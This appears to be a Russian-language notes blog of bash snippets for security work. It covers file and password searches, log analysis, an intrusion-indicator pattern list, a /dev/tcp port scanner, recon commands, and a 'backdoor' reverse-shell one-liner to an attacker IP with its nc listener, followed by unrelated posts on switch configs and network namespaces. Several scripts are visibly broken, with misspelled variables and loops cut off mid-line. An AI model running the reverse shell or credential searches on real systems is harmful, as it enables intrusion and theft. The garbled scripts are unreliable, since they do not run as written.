find /c -exec attrib '{}' \; | egrep '^.{4}H.*'

Найти и показать путь к файлу:
find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22-

Поиск по размеру файла:
find /home -size +5G

Чтобы определить самые большие файлы в системе:
find /type f -exec ls -s '{}' \; | sort -n -r | head -5



Предположим, что вы только что выполнили следующую команду:
find / -type f -exec ls -s '{}' \;
Затем чтобы снова запустить  ее или передать в конвейер, вы можете использовать символы !!:
!! | sort -n -r | head -5

Можно найти большой файл не используя find:
ls / -R -s | sort -n -r | head -5


Поиск по времени:
Менее 5 мин:
find /home -nmin -5
Менее 24 часов:
find /home -mtime -1
Менее 48 часов:
find /home -mtime +2
Доступ к файлу менее 24 часов
find /home -atime -1
Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./":
find /home -type f -atime -1 -exec cp '{}' ./ \;


Поиск контента:
Найти строку 'password':
grep -i -r /home -e 'password'
Комбинирование команды find и grep:
find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \;

Поиск по типу файла:

file title.png

Сценарий typesearch.sh
#!/bin/bash
# Описание:
# Поиск в  файловой системе файлов указанного типа.
# Выводим путь, когда найдем
# Использование:
# typesearch.sh [-c dir] [-i] [-R|r]  
# -c Копировать найденные файлы в каталог
# -i Игнорировать регистр
# -R|r Рекурсивный поиск подкаталогов
#  Шаблон типа файла для поиска
#  Путь для начала поиска

DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию
while getopts 'c:irR' opt; do
 case "${opt}" in
  c) # копировать найденные файлы в указанный каталог
   COPY=YES
   DISTDIR="$OPTARG"
   ;;
  i) # игнорировать регистр при поиске
   CASEMATCH='-1' 
   ;;
  [Rr]) # рекурсивно 
    unset DEEPPORNOT;;
  *) # неизвестный/неподдерживаемый вариант
     # при получении ошибки mesg от gretops просто выйти 
    exit 2;;
 esac
done
shift $((OPTIND -1))

PATTERN=${1;-PDF document}
STARTDIR=${2:-.} # по умолчанию начать здесь

find $STARTDIR $DEEPORNOT -type f | while read FN
do 
  file $FN | egrep -q $CASEMATCH "$PATTRERN"
  if (( $? ==0 )) # найден один
  then
      echo $FN
         if [[ $COPY ]]
         then
            cp -p $FN $DESTDIR
         fi
  fi
done

Поиск по хеш-значению

hashsearch.sh
#!/bin/bash
# Описание:
#    В указанном каталога выполняем рекурсивный поиск
#    файла по заданному SHA-1
# Использование:
#    hashsearch.sh  
#    hash - значение хеша SHA-1 разыскиваемого файла
#    directory - каталог для поиска
HASH=$1
DIR=${2:-.}  # cmd, по умолчанию это сдесь
# конвертируем путь в абсолютный
function mkabspath()
{
  if [[ $1 == /* ]]
  then
     ABS=$1
  else
     ABS="$PWD/$1"
  fi
}
find $DIR -type f | 
while read fn
do
  THISONE=$(sha1sum "$fn")
  THISONE=${THISONE%% *}
  if [[ $THISONE == $HASH ]]
  then
    mkabspath "$fn"
    echo $ABS
  fi
done

Обработка данных:

sed
tail
tr

файл awkuser.txt:
Mike Jones
John Smith
Kathy Jones
Jane Kennedy
Tim Scott


awk - фактически комбайн для обработки текста
-f - читать указанный файл
$0 - вся строка
$1 - первое слово
$2 - второе слово
$N - и т.д.

Пример:
awk '$2 == "jones" {print $0}' awkusers.txt



файл username.txt:
1,jdoe
2,puser
3,jsmith

файл accesstime.txt:
0745,file1.txt,1
0830,file3.txt,2
0830,file22.txt,3

join - объединяет строки из двух фалов с общими полями 
-j - использовать указанный номер поля. Поля начинаются с 1 
-t - символ, который будет использоваться в качестве разделителя
--header - использовать в качестве заголовка

Пример:
join -1 3 -2 1 -t, accesstime.txt username.txt



файл ips.txt
ip,OS
10.0.4.2,Windows 8
10.0.4.35,Ubuntu 16
10.0.4.107,macOS
10.0.4.145,macOS

sed - редактирование и замена текста в потоке файлов

Пример:
sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt


tail - вывод последних строк файла
-f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления.
-n - вывести указанное кол-во строк
Пример:
tail -n 1 ips.txt


tr - преобразование одного символа в другой или отображения замещающего символа.
-d - удалить указанные знаки из входного потока
-s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром
Пример:
tr '\\:' '/|' < infile.txt > outfile.txt


Пример файла csvex.txt
"name","username","phone","password hash"
"john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7
"Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf
"Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w
"john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds
"Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3

cut - используется для извлечения из входного файла или потока, 
полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.)
cut - показать содержимое  вырезав символы  
cut -c 1,4,7 name.txt - показать содержимое  вырезав символы  
cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом  ':'

Примеры:
cut -d',' -f1 csvex.txt
cut -d',' -f1 csvex.txt | tr -d '"'
cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2
awk -F "," '{print $4}'  csvex.txt
grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt
cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2


grep -o '.*<\/firstName>' book.xml
grep -Pzo '(?s).*?<\/author>' book.xml
grep -Po '.?<\/firstName>' book.xml | sed 's/<[^>]*>//g'

grep -o '"firstName": ".*"' book.json
grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"'

jq - это мощный легкий и JSON-анализатор
jq '.title' book.json
jq '.authors[].firstName' book.json

Агрегирование данных:
find /data -type f -exec grep '{}' -e 'ProductionWebServer' \;
-exec cat '{}' >> ProductionWebServerAgg.txt \;

join -t, -2 2 ips.txt user.txt

Ссылка:
https://rapidcyberops.com/

Анализ данных:


sort - сортировка текстового файла
-r - сортировка по убыванию
-f - игнорировать регистр
-n - использовать числовой порядок 1, 2, 3 и т.д.
-k - сортировать на основе подмножества данных (ключа) в строке
-o - записать вывод в указанный файл
-u - фильтр уникальности
Пример:
sort -k 3 file1.txt
sort -k 2.5,2.7 file1.txt

uniq - отфильтровать повторяющиеся строки
-c - вывести, сколько раз повторяется строка
-f - перед сравнением проигнорировать указанное кол-во полей
-i - игнорировать  регистр букв

Ознакомление с журналом доступа к веб серверу Apache2

CLF - Combined Log Format

cat access.log
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

Что мы видим:
Поле  Значение                       Описание
1     192.168.15.53                  ip хоста который запросил страницу у веб сервера
2     -                              идентификатор протокола RFC 1413 (-, если его нет)
3     -                              идентификатор пользователя с проверкой подлинности HTTP (-, если его нет)
4     [11/Jul/2025:15:09:25 +0300]   Смещение даты, времени и GMT (часовой пояс)
5     GET /                          Страница которая была запрошена
6     HTTP/1.1                       Версия протокола HTTP
7     200                            Код состояния, возвращаемый веб-сервер
8     3380                           Размер возвращаемого файла в байтах
9     -                              Ссылающаяся страница
10    Mozilla/5.0                    Браузер



Коды:
200 - OK - Хорошо
401 - Unauthorized - Не авторизован \ не предоставляется
404 - Page Not Found - Страница не найдена
500 - Internal Server Error - Внутренняя ошибка сервера
502 - Bad Gateway - Плохой, ошибочный шлюз

Ссылки:
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
https://httpd.apache.org/docs/2.4/logs.html


cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15

Подсчет количества обращений к данным:
cat countem.sh
#!/bin/bash -
#
# Описание:
# Подсчет количества экземпляров элемента с помощью bash
# Использование:
# countem.sh < inputfile
declare -A cnt # ассоциативный массив
while read id xtra
do
    let cnt[$id]++
done
# вывести то, что мы подсчитали
# для каждого ключа в ассоциативном массиве в виде (ключ, значение)
for id in "${!cnt[@]}"
do 
  printf '%d %s\n' "${cnt[$id]}" "$id"
done


Пример countem.awk:
# countem.awk
# Описание:
# Подсчет количество экземпляров элемента с помощью команды awk
# Использование:
# countem.awk < inputfile
awk '{ cnt[$1]++ }
END {for (id in cnt) {
         printf "%d %s\n", cnt[id], id
        }
    }'


Оба сценария хорошо будут работать в конвейере:
cut -d' ' -f1 logfile | bash countem.sh
bash countem.sh < logfile

awk '$9 == 404 {print $1}' access.log | bash countem.sh
cut -d' ' -f1 access.log | bash countem.sh | sort -rn

P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux
cut -d' ' -f1 access.log | sort | unic -c | sort -rn
cut -d' ' -f1 access.log | sort -urn


Суммирование чисел и данных:
cat summer.sh
#!/bin/bash -
#
# Описание:
# Суммировать итоговое значение поля 2 для каждого уникального поля 1
# Использование: ./summer.sh
# Формат ввода:  
declare -A cnt # ассоциативный массив
while read id count
do 
  let cnt[$id]+=$count
done
for id in "${!cnt[@]}"
do
   printf "%-15s %8d\n" "${id}" "${cnt[${id}]}"
done

Использование:
cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn 

Скрипт отображение данных в виде гистограммы:

histogram.sh
#!/bin/bash - 
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными 
# Использование: ./historgram.sh
# Формата ввода: label value
function pr_bar()
{
  local -i i raw maxraw scaled
  raw=$1
  maxraw=$2
  ((scaled=(MAXBAR*raw)/maxraw))
  # гарантированный минимальный размер
  ((raw > 0 && scaled ==0)) && scaled=1

  for((i=0; i max )) && max=$val
done 

# масштабировать и вести
for labl in "${!RA[@]}"
do
  printf '%-20.20s ' "$labl"
  pr_bar ${RA[$labl]} $max
done


Пример:
cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh

Скрипт отображение данных в виде гистограммы для старых систем и macos:

histogram_plain.sh
#!/bin/bash - 
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными 
# Использование: ./histogram_plain
# Формата ввода: label value
declare -a RA_key RA_val
declare -i max ndx
max=0
maxbar=50
ndx=0
while read labl val
do
   RA_key[$ndx]=$labl
   RA_value[$ndx]=$val
   # сохранить наибольшее значение; для масштабирования
   (( val > max )) && max=$val
   let ndx++
done

# масштабировать и вывести
for ((j=0; j

Мониторинг журналов в режиме реального времени:

 
tail -f /var/log/apache2/access.log
tail -f /var/log/apache2/access.log | grep '10.0.0.152'
tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404'

cd /var/log/apache2/
tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7

Обнаружение вторжения с помощью журнала apache2:

 

cat > ioc.txt << "EOF"
\.\./
etc/passwd
etc/shadow
cmd\.exe
/bin/sh
/bin/bash

EOF

../  -злоумышленник пытается выйти из текущего каталога рабочего каталога
/etc/passwd  и другие - пытается получить доступ к паролям системы
/sh  и другое - пытается вызвать программу 

tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt
tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txt



    

Сканер портов:

cat > scan.sh << "EOF" 
#!/bin/bash -
# Описание:
# Сканирование порта указанного хоста
# Использование:
# ./scan.sh  
#  - файл, куда сохраняется результат
# ./scan.sh save.log 
# 192.168.0.1 - вводим адрес
# ctrl + c 
# cat save.log

function scan()
{
   host=$1
   printf '%s' "$host"
   for ((port=1;port<1024;port++))
   do
     echo >/dev/null 2>&1 < /dev/tcp/${host}/${port}
     if (($? == 0)) ; then printf ' %d' "${port}" ; fi
   done
   echo # или вывести '\n'
}

# основной цикл
printf -v TODAY 'scan_%(%F)T' -1 # например scan_2025-12-30
OUTFILE=${1:-$TODAY}

while read HOSTNAME
do
   scan $HOSTNAME
done > $OUTFILE



EOF

Сравнение файлов:

sdiff  - сравнивает два файла
-a - рассматривать все файлы как текстовые
-i - игнорировать регистр
-s - удалять общие строки для двух файлов
-w - определить максимальное кол-во символов для вывода в троке

sdiff -s file1.txt file2.txt


curl:

curl
-A - для отправки на сервер указать строку агента пользователя HTTP
-d - данные для отправки с запросом HTTP POST
-G - использовать для отправки данных запрос HTTP GET, а не POST
-I - получить только заголовок протокола (HTTP, FTP)
-L - следовать за пере направлениями
-s - не показывать индикатор выполнения или сообщения об ошибках


curl https://google.com

Проверка сокращенной ссылки:
curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'

xxd :

xdd - выводит на экран в двоичном или шестнадцатеричном формате
-b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата
-l - вывести кол-во байт двоичного или шестнадцатеричного файла
-s - начать печать с позиции байта n

xdd -s 35 -l 50 somefile.txt

Разведка:

Просмотр вебсервера:
ftp 
-n - запретить авто вход на сервер
ftp -n 192.168.0.15
ftp 192.168.0.15
ftp 192.168.0.15 60


Просмотр веб сайта:
curl -L -o output.html https://www.oreilly.com
curl -LI https://www.oreilly.com
curl -LIs https://www.oreilly.com | grep '200 OK'

Копирование сайта себе:
wget -p -m -k -P ./mirror https://digadel.com

Самый простой способ перехватить баннер с SMTP сервера:
telnet 192.168.0.15 25



nc :

nc
-l - прослушивать входящие подключения
-n - запретить выполнение поиска dns
-p - задать исходный порт для подключения и прослушивания
-v - установить подробный режим

Подключение:
nc www.oreilly.com 80

Прослушивания:
nc -l -v -n -p 8080


Обратный SSH :

ssh -R 12345:localhost:22 user@remoteip
ssh localhost -p 12345

Бэкдор баш:

/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0
Здесь:
/bin/bash -i - интерактивный режим баша
< /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15,
порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш.
1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного
потока ввода (stdin)(дескриптор файла 0)


В системе злоумышленника должен слушаться порт 8080
nc -l -v -p 8080

Рубрики
Без рубрики

Мда что то перемудрили ркн ….

wget --no-check-certificate --user-agent="Mozilla/5.0" https://minjust.gov.ru/uploaded/files/exportfsm.csv
iconv -f CP1251 -t UTF-8 exportfsm.csv > exportfsm.csv_enc
cat exportfsm.csv_enc | grep "Я русский"
Рубрики
device \ устройства \ железо

M5Stack Stick PLUS 2

Ссылки:

https://t.me/hobbysupport
https://www.ozon.ru/product/m5stack-stick-plus-2-s-graficheskim-programmirovaniem-1726849635/
https://www.youtube.com/watch?v=1cDBE4qjKOk
https://docs.m5stack.com/en/uiflow/m5burner/intro
https://docs.m5stack.com/en/core/M5StickC%20PLUS2
http://bruce.computer/
Рубрики
device \ устройства \ железо

Релейки бубубуб конфиг

Основные команды:

show run - показать текущий конфиг
configure - режим конфигурирования
write mem - сохранить настройки

Пример конфига:

config-file-header
switch000001
v5.1.0.18 / ?
CLI v1.0
@
!
unit-type-control-start
unit-type unit 1 network te uplink none
unit-type-control-end
!
no spanning-tree
port jumbo-frame
vlan database
vlan 25-28,35-38
exit
voice vlan oui-table add 0001e3 Siemens_AG_phone________
voice vlan oui-table add 00036b Cisco_phone_____________
voice vlan oui-table add 00096e Avaya___________________
voice vlan oui-table add 000fe2 H3C_Aolynk______________
voice vlan oui-table add 0060b9 Philips_and_NEC_AG_phone
voice vlan oui-table add 00d01e Pingtel_phone___________
voice vlan oui-table add 00e075 Polycom/Veritel_phone___
voice vlan oui-table add 00e0bb 3Com_phone______________
ip ssh server                                         
ip telnet server                                      
!                                                     
interface vlan 1                                      
 ip address 10.12.127.200 255.255.255.0               
 no ip address dhcp                                   
!                                                     
interface TengigabitEthernet1                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet2                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet3                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet5                         
 switchport mode trunk                                
!                                                     
exit                                                  
console# 

Vlan

vlan database
vlan 25-28,35-38

JAMBO PACKET

port jumbo-frame

NO STP

no spanning-tree

TRANK

                             
interface TengigabitEthernet1                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet2                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet3                         
 switchport mode trunk                                
!                                                     
interface TengigabitEthernet5                         
 switchport mode trunk                                
!                                                     

STATIC IP CONTROL

interface vlan 1                                      
 ip address 10.12.127.200 255.255.255.0               
 no ip address dhcp                                   
!                      


Рубрики
*NIX информация

netns / создание network namespace и добавление его в сетевую карту

Пример команд:

Создание сетевых пространств (network namespaces):
sudo ip netns add Client
sudo ip netns add Server

Создание виртуальных интерфейсов (veth):
Теперь у тебя есть связанная пара интерфейсов (veth-client <-> veth-server).
sudo ip link add veth-client type veth peer name veth-server

Привязка интерфейсов к namespace:
sudo ip link set veth-client netns Client
sudo ip link set veth-server netns Server

Настройка IP-адресов:
sudo ip netns exec Client ip addr add 192.168.1.1/24 dev veth-client
sudo ip netns exec Server ip addr add 192.168.1.2/24 dev veth-server
Теперь у тебя есть два "виртуальных хоста" (Client и Server), соединенных через veth.

В Client и Server прописываешь маршруты:
sudo ip netns exec Client ip route add default via 192.168.1.254
sudo ip netns exec Server ip route add default via 192.168.2.254

Список всех network namespaces:
sudo ip netns list
ls /var/run/netns/

Просмотр интерфейсов внутри конкретного netns:
sudo ip netns exec Client ip link show
sudo ip -n Client link

Просмотр IP-адресов внутри netns:
sudo ip netns exec Client ip addr

Просмотр таблицы маршрутизации в netns:
sudo ip netns exec Client ip route
sudo ip -n Client route

Проверить ARP-таблицу (соседей):
sudo ip netns exec Client ip neigh

Если netns нет в списке, но процесс использует его:
lsns -t net
ps aux | grep "netns"


Использование namespace: 
ip netns exec  bash
ip netns exec Client bash
ip netns exec Server bash

Пример скрипта который создаст пространства имен, привяжет интерфейсы к ним, добавит адреса, добавит маршруты:


#!/bin/bash
set -x

# Создание namespace'ов, если их ещё нет
ip netns add Server
ip netns add Client

echo "setup Server:"
ip link set enp1s0f0np0 down 
ip link set enp1s0f0np0 netns Server
ip netns exec Server ip addr add 10.0.12.2/24 dev enp1s0f0np0
ip netns exec Server ip link set enp1s0f0np0 up
ip netns exec Server ip link set lo up
ip netns exec Server ip route add default via 10.0.12.1 dev enp1s0f0np0

echo "setup Client:"
ip link set enp1s0f1np1 down 
ip link set enp1s0f1np1 netns Client
ip netns exec Client ip addr add 10.0.11.2/24 dev enp1s0f1np1
ip netns exec Client ip link set enp1s0f1np1 up
ip netns exec Client ip link set lo up
ip netns exec Client ip route add default via 10.0.11.1 dev enp1s0f1np1

# Удаление namespace'ов при необходимости
# ip netns delete Client
# ip netns delete Server

Использование namespace:

Команда:
ip netns exec  bash

Пример:
ip netns exec Server bash
ip netns exec Client bash

Пример сетевые карты разделены на 4 отдельных карточки и проводом подключены Client — Server, без маршрутизации.

#!/bin/bash
set -x

# Создание namespace'ов, если их ещё нет
ip netns add Server
ip netns add Server1
ip netns add Client
ip netns add Client1

echo "setup Server:"
ip link set ens3f0 down 
ip link set ens3f0 netns Server
ip netns exec Server ip addr add 10.0.12.2/24 dev ens3f0
ip netns exec Server ip link set ens3f0 up
ip netns exec Server ip link set lo up


echo "setup Client:"
ip link set enp4s0f0np0 down 
ip link set enp4s0f0np0 netns Client
ip netns exec Client ip addr add 10.0.12.1/24 dev enp4s0f0np0
ip netns exec Client ip link set enp4s0f0np0 up
ip netns exec Client ip link set lo up


echo "setup Server1:"
ip link set ens3f1 down 
ip link set ens3f1 netns Server1
ip netns exec Server1 ip addr add 10.0.13.2/24 dev ens3f1
ip netns exec Server1 ip link set ens3f1 up
ip netns exec Server1 ip link set lo up


echo "setup Client1:"
ip link set enp4s0f1np1 down 
ip link set enp4s0f1np1 netns Client1
ip netns exec Client1 ip addr add 10.0.13.1/24 dev enp4s0f1np1
ip netns exec Client1 ip link set enp4s0f1np1 up
ip netns exec Client1 ip link set lo up

# Удаление namespace'ов при необходимости
# ip netns delete Client
# ip netns delete Server
# ip netns delete Client1
# ip netns delete Server1